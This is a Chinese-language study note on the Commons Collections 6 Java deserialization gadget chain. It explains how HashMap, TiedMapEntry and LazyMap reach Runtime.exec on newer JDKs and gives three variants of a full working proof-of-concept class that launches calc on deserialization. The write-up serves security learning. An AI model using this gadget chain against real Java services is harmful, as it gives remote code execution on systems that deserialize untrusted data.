# 前言

也是跟着 p 牛的文章跟了一遍 CommonsCollection1 这条链子,在 CC1 中有着诸多限制,版本也是很低,当下 JDK20 在今年的 3 月份 21 正式发布,预计在本年 9 月将发布 JDK21,版本迭代的速度非常之快,原始的 cc 链只能在 jdk8u6 * 之前能够利用显然是不够的,也是需要想办法在更高版本能够利用 cc 链来进行恶意攻击

# CommonsCollection-6

文章中所涉及的代码都在 github 项目 https://github.com/clown-q/Clown_java 中,萌新浅记,大佬轻喷

# dump 源码

这里插入一点调试前的工作,因为 jdk 中是反编译的 class 文件,对调试很不友好,这里我是使用的 openjdk 的 sun 添加到外部库 jdk8u/jdk8u/jdk: 8181f8b6ef0d (openjdk.org) 将文件 down 下来后

image-20230518170826389

将这里的 sun 文件放到 jdk 的 src 目录下

image-20230518170904208

然后在 idea 中添加一下路径

image-20230518171131186

# 链子调整

欧德克回归正题,因为在高版本中 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法逻辑发生了变化

image-20230518165822615

这里没有了我们所需要的 chaeck 的调用,这里就需要寻找的新的利用链,也就是这个 cc6 来解决高版本中无法利用,简单来说实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get () 的地⽅,后面的地方还是和 cc1 一样的方式调用到危险函数,其实是用到了 HashMap,所以大概 CC6=CC1+URLDNS?

这里找到的是 org.apache.commons.collections.keyvalue.TiedMapEntry 这个类

image-20230518181242510

这里使用了 get 方法,这个 map 可控,⽽ hashCode ⽅法调⽤了 getValue ⽅法

graph LR
a(HashMap.readObject)-->b(TiredMapEntry.hashCode)
b(TiredMapEntry.hashCode)-->c(LazyMap.get)
c(LazyMap.get)-->d(ChainedTransformer.transform)
d(ChainedTransformer.transform)-->e(Runtime.exec)
package CommonsCollection.Clown_CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC1 {
    public static void Serialization(Object object) throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("output serialization");
    }
    public static void Unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("input unserialization");
    }
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");// 这里将序列化过程中存入的 key 删除
        Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);// 私有属性
        factoryField.set(lazymap,chainedTransformer);// 这里设置为目标的危险函数
        //Serialization(map2);
        Unserialization();
    }
}

# 注意

上面是完整的 poc,下面来记录一下这个链子的两个注意的点

package CommonsCollection.Clown_CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC1 {
    public static void Serialization(Object object) throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("output serialization");
    }
    public static void Unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("input unserialization");
    }
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
//        Map lazymap = LazyMap.decorate (map,new ConstantTransformer (1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点
        map2.put(tiedMapEntry,"bbb");
//        lazymap.remove ("aaa");// 这里将序列化过程中存入的 key 删除
//        Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值
//        Field factoryField = clazz.getDeclaredField("factory");
//        factoryField.setAccessible (true);// 私有属性
//        factoryField.set (lazymap,chainedTransformer);// 这里设置为目标的危险函数
        Serialization(map2);
//        Unserialization();
    }
}

首先是这里在序列化的时候就已经触发了命令执行,这里跟 URLDNS 的思想一样,在序列化的阶段的 put 触发,那么最简单的思想就是在 put 前将链子中断,put 之后再将链子指向改为正确的

package CommonsCollection.Clown_CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC1 {
    public static void Serialization(Object object) throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("output serialization");
    }
    public static void Unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("input unserialization");
    }
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
//        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点
        map2.put(tiedMapEntry,"bbb");
//        lazymap.remove ("aaa");// 这里将序列化过程中存入的 key 删除
        Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);// 私有属性
        factoryField.set(lazymap,chainedTransformer);// 这里设置为目标的危险函数
        Serialization(map2);
//        Unserialization();
    }
}

这里是为什么要有 lazymap.remove ("aaa");,如果没有的话反序列化不能正常触发链子,这里在 put 下断点调试进去看一下

image-20230518194433825

这里进到 hash,一直进到 get 方法

image-20230518194538929

可以看到这里会判断 LazyMap 里面有没有 key,开始是没有的,然后回 put 进去一个键值对,所以如果这里不删除就会导致在反序列化的之后不能进到 if,不能调用 factory.Transform 函数

# 总结

image-20230709172122054